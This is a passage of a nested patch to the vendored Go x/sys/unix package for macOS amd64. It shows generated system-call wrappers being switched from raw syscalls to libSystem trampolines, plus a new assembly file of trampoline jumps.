-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(whence))
- newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1598,8 +2342,23 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_ptrace_trampoline), uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ptrace_trampoline()
-+
-+//go:linkname libc_ptrace libc_ptrace
-+//go:cgo_import_dynamic libc_ptrace ptrace "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int64(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2366,134 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat64_trampoline()
-+
-+//go:linkname libc_fstat64 libc_fstat64
-+//go:cgo_import_dynamic libc_fstat64 fstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat64_trampoline()
-+
-+//go:linkname libc_fstatat64 libc_fstatat64
-+//go:cgo_import_dynamic libc_fstatat64 fstatat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs64_trampoline()
-+
-+//go:linkname libc_fstatfs64 libc_fstatfs64
-+//go:cgo_import_dynamic libc_fstatfs64 fstatfs64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat64_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat64_trampoline()
-+
-+//go:linkname libc_getfsstat64 libc_getfsstat64
-+//go:cgo_import_dynamic libc_getfsstat64 getfsstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat64_trampoline()
-+
-+//go:linkname libc_lstat64 libc_lstat64
-+//go:cgo_import_dynamic libc_lstat64 lstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat64_trampoline()
-+
-+//go:linkname libc_stat64 libc_stat64
-+//go:cgo_import_dynamic libc_stat64 stat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs64_trampoline()
-+
-+//go:linkname libc_statfs64 libc_statfs64
-+//go:cgo_import_dynamic libc_statfs64 statfs64 "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s
-new file mode 100644
-index 00000000..a3fdf099
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s
-@@ -0,0 +1,284 @@
-+// go run mkasm_darwin.go amd64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
